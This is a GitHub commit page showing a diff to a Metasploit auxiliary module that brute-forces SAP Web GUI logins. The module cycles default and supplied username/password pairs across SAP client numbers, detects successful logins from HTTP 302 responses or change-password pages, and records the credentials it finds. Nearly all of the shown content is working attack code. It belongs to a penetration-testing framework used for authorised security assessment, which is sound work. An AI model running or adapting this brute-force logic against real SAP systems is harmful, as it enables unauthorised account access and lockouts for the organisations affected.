Skip to content

Commit 3bf88e5

Browse files
author
jvazquez-r7
committed
final cleanup for sap_web_gui_brute_login
1 parent 165e9c2 commit 3bf88e5

File tree

1 file changed

+67
-26
lines changed

1 file changed

+67
-26
lines changed

modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb

Lines changed: 67 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -27,30 +27,42 @@ class Metasploit4 < Msf::Auxiliary
2727

2828
def initialize
2929
super(
30-
'Name' => 'SAP Web GUI Brute Force',
30+
'Name' => 'SAP Web GUI Login Brute Forcer',
3131
'Description' => %q{
32-
SAP Web GUI Brute Force.
33-
},
34-
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
35-
'Author' => [ 'nmonkee' ],
36-
'License' => BSD_LICENSE
37-
)
38-
register_options([
39-
OptString.new('TARGETURI', [true, 'URI', '/']),
40-
OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
41-
OptBool.new('DEFAULT_CRED',[false, 'Check using the default password and username',true]),
42-
OptString.new('USERPASS_FILE',[false, '',nil])
32+
This module attempts to brute force SAP username and passwords through the SAP Web
33+
GUI service. Default clients can be tested without needing to set a CLIENT. Common
34+
and default user/password combinations can be tested just setting the DEFAULT_CRED
35+
variable to true. The MSF_DATA_DIRECTORY/wordlists/sap_default.txt path store
36+
stores these default combinations.
37+
},
38+
'References' =>
39+
[
40+
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
41+
],
42+
'Author' =>
43+
[
44+
'nmonkee'
45+
],
46+
'License' => MSF_LICENSE
47+
48+
)
49+
register_options(
50+
[
51+
Opt::RPORT(8000),
52+
OptString.new('TARGETURI', [true, 'URI', '/']),
53+
OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
54+
OptBool.new('DEFAULT_CRED',[false, 'Check using the default password and username',true]),
55+
OptString.new('USERPASS_FILE',[false, '',nil])
4356
], self.class)
44-
register_autofilter_ports([80])
4557
end
4658

4759
def run_host(ip)
48-
uri = datastore['TARGETURI']
60+
uri = target_uri.to_s
4961
if datastore['CLIENT'].nil?
5062
print_status("Using default SAP client list")
5163
client = ['000','001','066']
5264
else
53-
client = []
65+
client = []
5466
if datastore['CLIENT'] =~ /^\d{3},/
5567
client = datastore['CLIENT'].split(/,/)
5668
print_status("Brute forcing clients #{datastore['CLIENT']}")
@@ -72,20 +84,29 @@ def run_host(ip)
7284
'Postfix' => "\n",
7385
'Indent' => 1,
7486
'Columns' => ["host","port","client","user","pass"])
75-
if datastore['USERPASS_FILE']
76-
credentials = extract_word_pair(datastore['USERPASS_FILE'])
77-
credentials.each do |u,p|
87+
88+
89+
if datastore['DEFAULT_CRED']
90+
credentials = extract_word_pair(Msf::Config.data_directory + '/wordlists/sap_default.txt')
91+
credentials.each do |u, p|
7892
client.each do |cli|
79-
success = bruteforce(uri,u,p,cli)
80-
if success == true
81-
saptbl << [ip,rport,cli,u,p]
93+
success = bruteforce(uri, u, p, cli)
94+
if success
95+
saptbl << [ rhost, rport, cli, u, p]
8296
end
8397
end
8498
end
85-
else
86-
datastore['USERPASS_FILE'] = Msf::Config.data_directory + '/wordlists/sap_default.txt'
99+
end
100+
each_user_pass do |u, p|
101+
client.each do |cli|
102+
success = bruteforce(uri, u, p, cli)
103+
if success
104+
saptbl << [ rhost, rport, cli, u, p]
105+
end
106+
end
87107
end
88108
print(saptbl.to_s)
109+
89110
end
90111

91112
def bruteforce(uri,user,pass,cli)
@@ -110,23 +131,43 @@ def bruteforce(uri,user,pass,cli)
110131
}
111132
})
112133
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
113-
print_error("[SAP] #{ip}:#{rport} - Service failed to respond")
134+
print_error("[SAP] #{rhost}:#{rport} - Service failed to respond")
114135
return false
115136
end
116137

117138
if res and res.code == 302
139+
report_auth_info(
140+
:host => rhost,
141+
:port => rport,
142+
:sname => "sap_webgui",
143+
:proto => "tcp",
144+
:user => "#{user}",
145+
:pass => "#{pass}",
146+
:proof => "SAP Client: #{cli}",
147+
:active => true
148+
)
118149
return true
119150
elsif res and res.code == 200
120151
if res.body =~ /log on again/
121152
return false
122153
elsif res.body =~ /<title>Change Password - SAP Web Application Server<\/title>/
154+
report_auth_info(
155+
:host => rhost,
156+
:port => rport,
157+
:sname => "sap_webgui",
158+
:proto => "tcp",
159+
:user => "#{user}",
160+
:pass => "#{pass}",
161+
:proof => "SAP Client: #{cli}",
162+
:active => true
163+
)
123164
return true
124165
elsif res.body =~ /Password logon no longer possible - too many failed attempts/
125-
print_error("[SAP] #{ip}:#{rport} - #{user} locked in client #{cli}")
166+
print_error("[SAP] #{rhost}:#{rport} - #{user} locked in client #{cli}")
126167
return false
127168
end
128169
else
129-
print_error("[SAP] #{ip}:#{rport} - error trying #{user}/#{pass} against client #{cli}")
170+
print_error("[SAP] #{rhost}:#{rport} - error trying #{user}/#{pass} against client #{cli}")
130171
return false
131172
end
132173
end

0 commit comments

Comments
 (0)